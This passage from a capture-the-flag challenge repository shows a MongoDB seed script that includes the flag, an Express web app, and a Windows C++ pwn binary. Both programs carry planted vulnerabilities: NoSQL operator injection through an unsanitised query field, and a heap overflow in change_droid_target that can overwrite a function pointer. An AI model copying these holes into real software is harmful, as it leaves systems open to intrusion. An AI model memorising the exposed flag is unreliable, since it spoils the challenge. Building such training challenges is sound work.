114 |         "username"     : "@P33r",
115 |         "affiliations" : "Resistance",
116 |         "alive"        : true
117 |     },
118 |     {
119 |         "firstname"    : "A.Ansigar",
120 |         "lastname"     : "Khasan",
121 |         "username"     : "@Ansigar",
122 |         "affiliations" : "Resistance",
123 |         "alive"        : true
124 |     },
125 |     {
126 |         "firstname"    : "Kefilwe",
127 |         "lastname"     : "Severiano",
128 |         "username"     : "@Sriano",
129 |         "affiliations" : "Resistance",
130 |         "alive"        : true
131 |     },
132 |     {
133 |         "firstname"    : "Iepthae",
134 |         "lastname"     : "Miguel",
135 |         "username"     : "@Miguel",
136 |         "affiliations" : "Resistance",
137 |         "alive"        : true
138 |     },
139 |     {
140 |         "firstname"    : "A. Blago",
141 |         "lastname"     : "Miguel",
142 |         "username"     : "@BMiguel",
143 |         "affiliations" : "Resistance",
144 |         "alive"        : true
145 |     },
146 |     {
147 |         "firstname"    : "K. Ansi",
148 |         "lastname"     : "Khasani",
149 |         "username"     : "@AKAnsi",
150 |         "affiliations" : "Resistance",
151 |         "alive"        : true
152 |     },
153 |     {
154 |         "firstname"    : "Z. Boby",
155 |         "lastname"     : "Blood",
156 |         "username"     : "@ZB",
157 |         "affiliations" : "Resistance",
158 |         "alive"        : true
159 |     },
160 |     {
161 |         "firstname"    : "Christian",
162 |         "lastname"     : "Blaine",
163 |         "username"     : "@chbl",
164 |         "affiliations" : "Resistance",
165 |         "alive"        : true
166 |     },
167 |     {
168 |         "firstname"    : "Bell",
169 |         "lastname"     : "Parmelee",
170 |         "username"     : "@bparm",
171 |         "affiliations" : "Resistance",
172 |         "alive"        : true
173 |     },
174 |     {
175 |         "firstname"    : "Zada",
176 |         "lastname"     : "Vieria",
177 |         "username"     : "@Vieriaz",
178 |         "affiliations" : "Resistance",
179 |         "alive"        : true
180 |     },
181 |     {
182 |         "firstname"    : "A. Anderson",
183 |         "lastname"     : "Glyn",
184 |         "username"     : "@G1ynA",
185 |         "affiliations" : "Resistance",
186 |         "alive"        : true
187 |     },
188 |     {
189 |         "firstname"    : "Some other human",
190 |         "lastname"     : "Thomas N.",
191 |         "username"     : "@TN",
192 |         "affiliations" : "Resistance",
193 |         "alive"        : false,
194 |     },
195 |     {
196 |         "firstname"    : "Unguessable first name of the chosen one with a cool flag...",
197 |         "lastname"     : "A. Anderson Thomas",
198 |         "username"     : "@NEO",
199 |         "affiliations" : "INS{w4k3_up_n30...7h3_m47r1x_h45_y0u...f0ll0w_7h3_wh173_r4bb17...kn0ck_kn0ck_n30}",
200 |         "alive"        : false,
201 |     }
202 | ]
203 | 
204 | MongoClient.connect(url, function(err, db) {
205 |     var users  = db.collection('users');
206 |     var humans = db.collection('humans');
207 | 
208 |     users.deleteMany({}, function(err, results){
209 |         if (err){
210 |             console.log("Error removing collection users");
211 |         } else {
212 |             humans.deleteMany({}, function(err, results){
213 |                 if (err){
214 |                     console.log("Error removing humans collection");
215 |                 } else {
216 |                     humans.insertMany(humans_list, function(err, humans) {
217 |                         assert.equal(null, err);
218 |                         assert.equal(humans_list.length, humans.insertedCount);
219 |                         db.close();
220 |                     });
221 |                     users.insertMany(users_list, function(err, users) {
222 |                         assert.equal(null, err);
223 |                         assert.equal(users_list.length, users.insertedCount);
224 |                         db.close();
225 |                     });
226 |                 }
227 |             });
228 |         }
229 |     });
230 | });
231 | 
232 | 


--------------------------------------------------------------------------------
/pwn/easywin/src/easywin.vcxproj:
--------------------------------------------------------------------------------
  1 | <?xml version="1.0" encoding="utf-8"?>
  2 | <Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  3 |   <ItemGroup Label="ProjectConfigurations">
  4 |     <ProjectConfiguration Include="Debug|Win32">
  5 |       <Configuration>Debug</Configuration>
  6 |       <Platform>Win32</Platform>
  7 |     </ProjectConfiguration>
  8 |     <ProjectConfiguration Include="Release|Win32">
  9 |       <Configuration>Release</Configuration>
 10 |       <Platform>Win32</Platform>
 11 |     </ProjectConfiguration>
 12 |     <ProjectConfiguration Include="Debug|x64">
 13 |       <Configuration>Debug</Configuration>
 14 |       <Platform>x64</Platform>
 15 |     </ProjectConfiguration>
 16 |     <ProjectConfiguration Include="Release|x64">
 17 |       <Configuration>Release</Configuration>
 18 |       <Platform>x64</Platform>
 19 |     </ProjectConfiguration>
 20 |   </ItemGroup>
 21 |   <PropertyGroup Label="Globals">
 22 |     <ProjectGuid>{579C0C05-B7E9-43A1-8AA8-C1C3D88EA3E7}</ProjectGuid>
 23 |     <Keyword>Win32Proj</Keyword>
 24 |     <RootNamespace>easywin</RootNamespace>
 25 |     <WindowsTargetPlatformVersion>10.0.10586.0</WindowsTargetPlatformVersion>
 26 |   </PropertyGroup>
 27 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
 28 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
 29 |     <ConfigurationType>Application</ConfigurationType>
 30 |     <UseDebugLibraries>true</UseDebugLibraries>
 31 |     <PlatformToolset>v140</PlatformToolset>
 32 |     <CharacterSet>Unicode</CharacterSet>
 33 |   </PropertyGroup>
 34 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
 35 |     <ConfigurationType>Application</ConfigurationType>
 36 |     <UseDebugLibraries>false</UseDebugLibraries>
 37 |     <PlatformToolset>v140</PlatformToolset>
 38 |     <WholeProgramOptimization>true</WholeProgramOptimization>
 39 |     <CharacterSet>Unicode</CharacterSet>
 40 |   </PropertyGroup>
 41 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
 42 |     <ConfigurationType>Application</ConfigurationType>
 43 |     <UseDebugLibraries>true</UseDebugLibraries>
 44 |     <PlatformToolset>v140</PlatformToolset>
 45 |     <CharacterSet>Unicode</CharacterSet>
 46 |   </PropertyGroup>
 47 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
 48 |     <ConfigurationType>Application</ConfigurationType>
 49 |     <UseDebugLibraries>false</UseDebugLibraries>
 50 |     <PlatformToolset>v140</PlatformToolset>
 51 |     <WholeProgramOptimization>true</WholeProgramOptimization>
 52 |     <CharacterSet>Unicode</CharacterSet>
 53 |   </PropertyGroup>
 54 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
 55 |   <ImportGroup Label="ExtensionSettings">
 56 |   </ImportGroup>
 57 |   <ImportGroup Label="Shared">
 58 |   </ImportGroup>
 59 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 60 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 61 |   </ImportGroup>
 62 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 63 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 64 |   </ImportGroup>
 65 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
 66 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 67 |   </ImportGroup>
 68 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
 69 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 70 |   </ImportGroup>
 71 |   <PropertyGroup Label="UserMacros" />
 72 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 73 |     <LinkIncremental>true</LinkIncremental>
 74 |   </PropertyGroup>
 75 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
 76 |     <LinkIncremental>true</LinkIncremental>
 77 |   </PropertyGroup>
 78 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 79 |     <LinkIncremental>false</LinkIncremental>
 80 |   </PropertyGroup>
 81 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
 82 |     <LinkIncremental>false</LinkIncremental>
 83 |   </PropertyGroup>
 84 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 85 |     <ClCompile>
 86 |       <PrecompiledHeader>Use</PrecompiledHeader>
 87 |       <WarningLevel>Level3</WarningLevel>
 88 |       <Optimization>Disabled</Optimization>
 89 |       <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
 90 |       <SDLCheck>true</SDLCheck>
 91 |     </ClCompile>
 92 |     <Link>
 93 |       <SubSystem>Console</SubSystem>
 94 |       <GenerateDebugInformation>true</GenerateDebugInformation>
 95 |     </Link>
 96 |   </ItemDefinitionGroup>
 97 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
 98 |     <ClCompile>
 99 |       <PrecompiledHeader>Use</PrecompiledHeader>
100 |       <WarningLevel>Level3</WarningLevel>
101 |       <Optimization>Disabled</Optimization>
102 |       <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
103 |       <SDLCheck>true</SDLCheck>
104 |     </ClCompile>
105 |     <Link>
106 |       <SubSystem>Console</SubSystem>
107 |       <GenerateDebugInformation>true</GenerateDebugInformation>
108 |     </Link>
109 |   </ItemDefinitionGroup>
110 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
111 |     <ClCompile>
112 |       <WarningLevel>Level3</WarningLevel>
113 |       <PrecompiledHeader>Use</PrecompiledHeader>
114 |       <Optimization>MaxSpeed</Optimization>
115 |       <FunctionLevelLinking>true</FunctionLevelLinking>
116 |       <IntrinsicFunctions>true</IntrinsicFunctions>
117 |       <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
118 |       <SDLCheck>true</SDLCheck>
119 |     </ClCompile>
120 |     <Link>
121 |       <SubSystem>Console</SubSystem>
122 |       <GenerateDebugInformation>true</GenerateDebugInformation>
123 |       <EnableCOMDATFolding>true</EnableCOMDATFolding>
124 |       <OptimizeReferences>true</OptimizeReferences>
125 |     </Link>
126 |   </ItemDefinitionGroup>
127 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
128 |     <ClCompile>
129 |       <WarningLevel>Level3</WarningLevel>
130 |       <PrecompiledHeader>Use</PrecompiledHeader>
131 |       <Optimization>MaxSpeed</Optimization>
132 |       <FunctionLevelLinking>true</FunctionLevelLinking>
133 |       <IntrinsicFunctions>true</IntrinsicFunctions>
134 |       <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
135 |       <SDLCheck>true</SDLCheck>
136 |       <ControlFlowGuard>Guard</ControlFlowGuard>
137 |     </ClCompile>
138 |     <Link>
139 |       <SubSystem>Console</SubSystem>
140 |       <GenerateDebugInformation>true</GenerateDebugInformation>
141 |       <EnableCOMDATFolding>true</EnableCOMDATFolding>
142 |       <OptimizeReferences>true</OptimizeReferences>
143 |       <StripPrivateSymbols>C:\Users\awe\Documents\Visual Studio 2015\Projects\easywin\x64\release\stripped_symbols.pdb</StripPrivateSymbols>
144 |       <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;ws2_32.lib;%(AdditionalDependencies)</AdditionalDependencies>
145 |     </Link>
146 |   </ItemDefinitionGroup>
147 |   <ItemGroup>
148 |     <ClInclude Include="stdafx.h" />
149 |   </ItemGroup>
150 |   <ItemGroup>
151 |     <ClCompile Include="easywin.cpp" />
152 |   </ItemGroup>
153 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
154 |   <ImportGroup Label="ExtensionTargets">
155 |   </ImportGroup>
156 | </Project>


--------------------------------------------------------------------------------
/web/kill_list/kill_list/routes/index.js:
--------------------------------------------------------------------------------
  1 | var express  = require('express');
  2 | var router   = express.Router();
  3 | var util     = require('util');
  4 | var bcrypt   = require('bcrypt');
  5 | 
  6 | var config   = require('../config');
  7 | var mycrypto = require('./mycrypto');
  8 | var Humans   = require('./models').Humans;
  9 | var Users    = require('./models').Users;
 10 | 
 11 | var MongoClient = require('mongodb').MongoClient;
 12 | var ObjectId    = require('mongodb').ObjectID;
 13 | 
 14 | var url = config.mongodb.url;
 15 | 
 16 | //
 17 | // Main routing
 18 | //
 19 | 
 20 | router.get('/', function(req, res){
 21 |     res.render('index', {
 22 |         success: req.session.success,
 23 |         errors: req.session.errors,
 24 |         isLoggedin: req.session.isLoggedin,
 25 |         username: req.session.username
 26 |     });
 27 |     req.session.errors = false;
 28 |     req.session.success = false;
 29 | });
 30 | 
 31 | 
 32 | router.get("/contact", function(req, res){
 33 |     res.render('contact', {
 34 |         success: req.session.success,
 35 |         errors: req.session.errors,
 36 |         isLoggedin: req.session.isLoggedin,
 37 |         username: req.session.username
 38 |     });
 39 |     req.session.errors = false;
 40 |     req.session.success = false;
 41 | });
 42 | 
 43 | 
 44 | router.post("/contact", function(req, res){
 45 |     req.check('email', 'Invalid email address').isEmail();
 46 | 
 47 |     req.getValidationResult().then(function(result){
 48 |         if(!result.isEmpty()){
 49 |             req.session.errors = result.array();
 50 |             req.session.success = false;
 51 |         } else {
 52 |             req.session.success = [{
 53 |                 param: 'contact',
 54 |                 msg: 'Your message will be inspected by T-800',
 55 |                 value: req.body.subject
 56 |             }];
 57 |         }
 58 |         res.redirect("/contact");
 59 |     });
 60 |     req.session.errors = false;
 61 |     req.session.success = false;
 62 | });
 63 | 
 64 | 
 65 | router.get("/humans", function(req, res){
 66 |     Humans.find({alive: true}, function(err, users){
 67 |         if (err){
 68 |             console.log("Error querying humans collection");
 69 |         } else {
 70 |             req.session.humans = users;
 71 |         }
 72 |     });
 73 |     res.render('humans', {
 74 |         success: req.session.success,
 75 |         errors: req.session.errors,
 76 |         isLoggedin: req.session.isLoggedin,
 77 |         username: req.session.username,
 78 |         humans: req.session.humans
 79 |     });
 80 |     req.session.errors = false;
 81 |     req.session.success = false;
 82 | });
 83 | 
 84 | 
 85 | router.post("/humans", function(req, res){
 86 |     var query = {
 87 |         firstname: req.body.firstname,
 88 |     }
 89 |     console.log(query);
 90 | 
 91 |     MongoClient.connect(url, function(err, db) {
 92 |         var humans = db.collection('humans');
 93 |         humans.findOne(query, function(err, users) {
 94 |             if (err) {
 95 |                 console.log("error from query: " );
 96 |                 console.log(err);
 97 |             }
 98 |             console.log("DB result: ");
 99 |             console.log(users);
100 | 
101 |             if (users) {
102 |                 req.session.humans = new Array(users);
103 |                 db.close();
104 |             } else {
105 |                 req.session.humans = null;
106 |             }
107 |             res.redirect('/humans');
108 |         });
109 |     });
110 | });
111 | 
112 | 
113 | router.get("/login", function(req, res){
114 |     res.render("login", {
115 |         success: req.session.success,
116 |         errors: req.session.errors,
117 |         isLoggedin: req.session.isLoggedin,
118 |         username: req.session.username
119 |     });
120 |     req.session.errors = false;
121 |     req.session.success = false;
122 | });
123 | 
124 | //
125 | // boogy@google.com
126 | //
127 | router.post("/login", function(req, res){
128 |     req.checkBody('email', 'Invalid email address').notEmpty().isEmail();
129 |     req.getValidationResult().then(function(result){
130 |         if(!result.isEmpty()){
131 |             req.session.errors = result.array();
132 |             req.session.success = false;
133 |             res.redirect('/login');
134 |         } else {
135 |             Users.findOne({email: req.body.email}, function(err, user){
136 |                 if (err){
137 |                     console.log(err);
138 |                     return;
139 |                 }
140 |                 if (user) {
141 |                     mycrypto.comparePassword(req.body.password, user.password, function(isPasswordMatch){
142 |                         if (isPasswordMatch){
143 |                             req.session.isLoggedin = true;
144 |                             req.session.username = user.email;
145 |                             console.log("[+] Authentication success for user: " + user.email);
146 |                         } else {
147 |                             req.session.errors = [{param: 'email', msg: 'Wrong user name and password', value: req.body.email}];
148 |                             req.session.success = false;
149 |                             console.log("[-] Authentication failed for user: " + user.email);
150 |                         }
151 |                         res.redirect('/login');
152 |                     });
153 |                 } else {
154 |                     console.log("[-] No user found in the databse with email: " + user.email);
155 |                     req.session.errors = [{param: 'email', msg: 'Nop nothing here with that name', value: req.body.email}];
156 |                     req.session.success = false;
157 |                     res.redirect('/login');
158 |                 }
159 |             });
160 |         }
161 |     });
162 | });
163 | 
164 | 
165 | router.get('/register', function(req, res) {
166 |     res.render("register", {
167 |         success: req.session.success,
168 |         errors: req.session.errors,
169 |         isLoggedin: req.session.isLoggedin,
170 |         username: req.session.username
171 |     });
172 |     req.session.errors = false;
173 |     req.session.success = false;
174 | });
175 | 
176 | 
177 | //
178 | // manage registration of users
179 | //
180 | router.post('/register', function(req, res) {
181 |     req.checkBody('email', 'Invalid email address').notEmpty().isEmail();
182 |     req.checkBody('password', 'Password is invalid').isLength({min: 4}).equals(req.body.confirmPassword);
183 | 
184 |     req.getValidationResult().then(function(result) {
185 |         if (!result.isEmpty()) {
186 |             req.session.errors = result.array();
187 |             req.session.success = false;
188 |             console.log(req.session.errors);
189 |             res.redirect('/register');
190 |         } else {
191 |             // search database for user with specified email
192 |             Users.findOne({email: req.body.email}, function(err, user) {
193 |                 if (err) {
194 |                     console.log(err);
195 |                 }
196 |                 if (user) {
197 |                     console.log("User exists!");
198 |                     req.session.errors = [{param: 'email', msg: 'User already exists !', value: req.body.email}];
199 |                     req.session.success = false;
200 |                 } else {
201 |                     req.session.success = true;
202 |                     req.session.errors = false;
203 | 
204 |                     // encrypt password and store in database
205 |                     mycrypto.cryptPassword(req.body.password, function(err, hash) {
206 |                         if (err) {
207 |                             console.log(err);
208 |                         }
209 |                         var user = new Users({
210 |                             email: req.body.email,
211 |                             password: hash,
212 |                             isadmin: false
213 |                         });
214 |                         user.save(function(err) {
215 |                             if (err) {
216 |                                 if (err.name === 'MongoError' && err.code === 11000) {
217 |                                     // Duplicate username
218 |                                     req.session.errors = {msg: "User already exists!"}
219 |                                     return;
220 |                                     // return res.send({ succes: false, errors: 'User already exist!' });
221 |                                 }
222 |                             }
223 |                             console.log("User saved to the databse");
224 |                             console.log("email   : " + req.body.email);
225 |                             console.log("password: " + hash);
226 |                         });
227 |                     });
228 |                 }
229 |                 res.redirect('/register');
230 |             });
231 |         }
232 |     });
233 |     req.session.errors = false;
234 |     req.session.success = false;
235 | });
236 | 
237 | 
238 | router.get('/logout',function(req,res){
239 |     req.session.isLoggedin = false;
240 |     req.session.username = null;
241 |     req.session.destroy(function(err) {
242 |         if(err){
243 |             console.log(err);
244 |         } else {
245 |             res.redirect('/');
246 |         }
247 |     });
248 | 
249 |     req.session.errors = false;
250 |     req.session.success = false;
251 | });
252 | 
253 | module.exports = router;
254 | 


--------------------------------------------------------------------------------
/pwn/easywin/src/easywin.cpp:
--------------------------------------------------------------------------------
  1 | #include "stdafx.h"
  2 | #include <windows.h>
  3 | #include <stdio.h>
  4 | #include <tchar.h>
  5 | 
  6 | typedef struct {
  7 | 	char target_planet[256];
  8 | 	char fmt[256];
  9 | 	void (*callback)(char *);
 10 | } s_droid;
 11 | 
 12 | #define MAX_DROIDS 0x100
 13 | static s_droid *droids[MAX_DROIDS] = { 0 };
 14 | 
 15 | # include <Processthreadsapi.h>
 16 | 
 17 | static void setup_mitigations(void)
 18 | {
 19 | 	HANDLE hProc = GetCurrentProcess();
 20 | 	PROCESS_MITIGATION_DEP_POLICY dep = { 0 };
 21 | 	PROCESS_MITIGATION_ASLR_POLICY aslr = { 0 };
 22 | 	PROCESS_MITIGATION_STRICT_HANDLE_CHECK_POLICY strict_handle_check = { 0 };
 23 | 	PROCESS_MITIGATION_DYNAMIC_CODE_POLICY dynamic_code = { 0 };
 24 | 	PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY system_call_disable = { 0 };
 25 | 	PROCESS_MITIGATION_EXTENSION_POINT_DISABLE_POLICY extension_point_disable = { 0 };
 26 | 	PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY cfg = { 0 };
 27 | 	PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY signature = { 0 };
 28 | 	PROCESS_MITIGATION_FONT_DISABLE_POLICY font = { 0 };
 29 | 	PROCESS_MITIGATION_IMAGE_LOAD_POLICY image_load = { 0 };
 30 | 
 31 | 	// ASLR Policy
 32 | 
 33 | 	GetProcessMitigationPolicy(hProc, ProcessASLRPolicy, &aslr, sizeof(aslr));
 34 | 	aslr.EnableBottomUpRandomization = 1;
 35 | 	aslr.EnableForceRelocateImages = 1;
 36 | 	aslr.EnableHighEntropy = 1;
 37 | 	aslr.DisallowStrippedImages = 1;
 38 | 
 39 | 	if (!SetProcessMitigationPolicy(ProcessASLRPolicy, &aslr, sizeof(aslr))) {
 40 | #ifdef DEBUG
 41 | 		std::cerr << "Failed to set ASLR Policy (" << GetLastError() << ")" << std::endl;
 42 | #endif
 43 | 	}
 44 | 
 45 | 	// Dynamic Code Policy
 46 | 
 47 | 	GetProcessMitigationPolicy(hProc, ProcessDynamicCodePolicy, &dynamic_code, sizeof(dynamic_code));
 48 | 	dynamic_code.ProhibitDynamicCode = 1;
 49 |  
 50 | 	if (!SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &dynamic_code, sizeof(dynamic_code))) {
 51 | #ifdef DEBUG
 52 | 		std::cerr << "Failed to set Dynamic Code Policy (" << GetLastError() << ")" << std::endl;
 53 | #endif
 54 | 	}
 55 | 
 56 | 	// Strict Handle Check Policy
 57 | 
 58 | 	GetProcessMitigationPolicy(hProc, ProcessStrictHandleCheckPolicy, &strict_handle_check, sizeof(strict_handle_check));
 59 | 	strict_handle_check.RaiseExceptionOnInvalidHandleReference = 1;
 60 | 	strict_handle_check.HandleExceptionsPermanentlyEnabled = 1;
 61 | 
 62 | 	if (!SetProcessMitigationPolicy(ProcessStrictHandleCheckPolicy, &strict_handle_check, sizeof(strict_handle_check))) {
 63 | #ifdef DEBUG
 64 | 		std::cerr << "Failed to set Strict Handle Check Policy (" << GetLastError() << ")" << std::endl;
 65 | #endif
 66 | 	}
 67 | 
 68 | 	// System Call Disable Policy
 69 | 
 70 | 	GetProcessMitigationPolicy(hProc, ProcessSystemCallDisablePolicy, &system_call_disable, sizeof(system_call_disable));
 71 | 	system_call_disable.DisallowWin32kSystemCalls = 1;
 72 | 
 73 | 	if (!SetProcessMitigationPolicy(ProcessSystemCallDisablePolicy, &system_call_disable, sizeof(system_call_disable))) {
 74 | #ifdef DEBUG
 75 | 		std::cerr << "Failed to set System Call Disable Policy (" << GetLastError() << ")" << std::endl;
 76 | #endif
 77 | 	}
 78 | 
 79 | 	// Extension Point Disable Policy
 80 | 
 81 | 	GetProcessMitigationPolicy(hProc, ProcessExtensionPointDisablePolicy, &extension_point_disable, sizeof(extension_point_disable));
 82 | 	extension_point_disable.DisableExtensionPoints = 1;
 83 | 
 84 | 	if (!SetProcessMitigationPolicy(ProcessExtensionPointDisablePolicy, &extension_point_disable, sizeof(extension_point_disable))) {
 85 | #ifdef DEBUG
 86 | 		std::cerr << "Failed to set Extension Point Disable Policy (" << GetLastError() << ")" << std::endl;
 87 | #endif
 88 | 	}
 89 | 
 90 | 	// Control Flow Guard Policy
 91 | 
 92 | 	GetProcessMitigationPolicy(hProc, ProcessControlFlowGuardPolicy, &cfg, sizeof(cfg));
 93 | 	cfg.EnableControlFlowGuard = 1;
 94 | 
 95 | 	if (!SetProcessMitigationPolicy(ProcessControlFlowGuardPolicy, &cfg, sizeof(cfg))) {
 96 | #ifdef DEBUG
 97 | 		std::cerr << "Failed to set Control Flow Guard Policy (" << GetLastError() << ")" << std::endl;
 98 | #endif
 99 | 	}
100 | 
101 | 	// Signature Policy
102 | 
103 | 	GetProcessMitigationPolicy(hProc, ProcessSignaturePolicy, &signature, sizeof(signature));
104 | 	signature.MicrosoftSignedOnly = 1;
105 | 
106 | 	if (!SetProcessMitigationPolicy(ProcessSignaturePolicy, &signature, sizeof(signature))) {
107 | #ifdef DEBUG
108 | 		std::cerr << "Failed to set Signature Policy (" << GetLastError() << ")" << std::endl;
109 | #endif
110 | 	}
111 | 
112 | 	// Font Disable Policy
113 | 
114 | 	GetProcessMitigationPolicy(hProc, ProcessFontDisablePolicy, &font, sizeof(font));
115 | 	font.DisableNonSystemFonts = true;
116 | 
117 | 	signature.MicrosoftSignedOnly = 1;
118 | 	if (!SetProcessMitigationPolicy(ProcessFontDisablePolicy, &font, sizeof(font))) {
119 | #ifdef DEBUG
120 | 		std::cerr << "Failed to set Font Disable Policy (" << GetLastError() << ")" << std::endl;
121 | #endif
122 | 	}
123 | 
124 | 	// Image Load Policy
125 | 	GetProcessMitigationPolicy(hProc, ProcessImageLoadPolicy, &image_load, sizeof(image_load));
126 | 	image_load.NoRemoteImages = 1;
127 | 	image_load.NoLowMandatoryLabelImages = 1;
128 | 
129 | 	if (!SetProcessMitigationPolicy(ProcessImageLoadPolicy, &image_load, sizeof(image_load))) {
130 | #ifdef DEBUG
131 | 		std::cerr << "Failed to set Image Load Policy (" << GetLastError() << ")" << std::endl;
132 | #endif
133 | 	}
134 | }
135 | 
136 | void action_droideka(char *planet)
137 | {
138 | 	printf("Droideka launches a powerfull blaster cannon attack on planet %s and protects itself with a deflector shield!\n", planet);
139 | }
140 | 
141 | void action_b1battledroid(char *planet)
142 | {
143 | 	printf("B1 Battle Droid overwhelms planet %s with lame attacks!\n", planet);
144 | }
145 | 
146 | void action_probedroid(char *planet)
147 | {
148 | 	printf("Probe Droid seeks for remaining rebels on %s...", planet);
149 | }
150 | 
151 | void action_ig88(char *planet)
152 | {
153 | 	printf("IG-88 starts a bug hunt on %s and kills everyone in its way!", planet);
154 | }
155 | 
156 | int get_droid_id(void)
157 | {
158 | 	unsigned id;
159 | 	printf("ID? ");
160 | 	scanf_s("%u", &id);
161 | 	getchar();
162 | 
163 | 	if (id < MAX_DROIDS && droids[id]) {
164 | 		return id;
165 | 	} 
166 | 
167 | 	printf("Invalid ID.\n");
168 | 
169 | 	return -1;
170 | }
171 | 
172 | void readline(char *dst, int size)
173 | {
174 | 	if (fgets(dst, size, stdin) == NULL) {
175 | 		return;
176 | 	}
177 | 
178 | 	size_t i = strlen(dst);
179 | 
180 | 	if (i > 0 && dst[i - 1] == '\n') {
181 | 		dst[i - 1] = '\0';
182 | 	}
183 | }
184 | 
185 | void add_droid(void)
186 | {
187 | 	unsigned char type;
188 | 	unsigned id;
189 | 
190 | 	for (id = 0; id < MAX_DROIDS && droids[id]; id++);
191 | 	if (id >= MAX_DROIDS) {
192 | 		printf("Too many droids already. Army is ready!\n");
193 | 		return;
194 | 	}
195 | 	s_droid *droid = (s_droid*)HeapAlloc(GetProcessHeap(), 0, sizeof(s_droid));
196 | 
197 | 	if (!droid) {
198 | 		printf("FATAL ERROR\n");
199 | 		exit(1);
200 | 	}
201 | 
202 | 	memset(droid, 0, sizeof(s_droid));
203 | 
204 | 	printf("Target planet? ");
205 | 	readline(droid->target_planet, sizeof(droid->target_planet));
206 | 
207 | 	bool fail = false;
208 | 
209 | 	do {
210 | 		printf("Type?\n");
211 | 		printf(
212 | 			" d - Droideka\n"
213 | 			" b - B1 Battle Droid\n"
214 | 			" p - Probe Droid\n"
215 | 			" i - IG-88\n"
216 | 			"~~~~~~~~~~~~~~~~~~~~~~\n"
217 | 		);
218 | 		scanf_s("%c", &type, 1);
219 | 		getchar();
220 | 		switch (type) {
221 | 		case 'd':
222 | 			strcpy_s(droid->fmt, sizeof(droid->fmt), "[+] A Droideka lands on %1$s (%2$d, %3$d).\n");
223 | 			droid->callback = &action_droideka;
224 | 			break;
225 | 		case 'b':
226 | 			strcpy_s(droid->fmt, sizeof(droid->fmt), "[+] An army of %$3d%$2d B1 Battle Droid arrives on %$1s.\n");
227 | 			droid->callback = &action_b1battledroid;
228 | 			break;
229 | 		case 'p':
230 | 			strcpy_s(droid->fmt, sizeof(droid->fmt), "[+] Probe Droid arrived on planet %$1s after %$2d days and %$3d hours...\n");
231 | 			droid->callback = &action_probedroid;
232 | 			break;
233 | 		case 'i':
234 | 			strcpy_s(droid->fmt, sizeof(droid->fmt), "[+] IG-88 has a bounty of %$2d%$3d$ on planet %$1s.\n");
235 | 			droid->callback = &action_ig88;
236 | 			break;
237 | 		default:
238 | 			printf("Invalid type.\n");
239 | 			fail = true;
240 | 			break;
241 | 		}
242 | 	} while (fail);
243 | 
244 | 	droids[id] = droid;
245 | 	printf("Droid added.\n");
246 | }
247 | 
248 | void delete_droid(void)
249 | {
250 | 	int id = get_droid_id();
251 | 
252 | 	if (id == -1) {
253 | 		return;
254 | 	}
255 | 
256 | 	if (!HeapFree(GetProcessHeap(), 0, droids[id])) {
257 | 		printf("FATAL ERROR\n");
258 | 		exit(1);
259 | 	}
260 | 	droids[id] = NULL;
261 | 	printf("Droid removed.\n");
262 | }
263 | 
264 | void change_droid_target()
265 | {
266 | 	int id = get_droid_id();
267 | 
268 | 	if (id == -1) {
269 | 		return;
270 | 	}
271 | 
272 | 	s_droid *droid = droids[id];
273 | 
274 | 	printf("New target planet? ");
275 | 	readline(droid->target_planet, sizeof(*droid));
276 | }
277 | 
278 | int check_droid(const s_droid *droid)
279 | {
280 | 	bool has_null = false;
281 | 
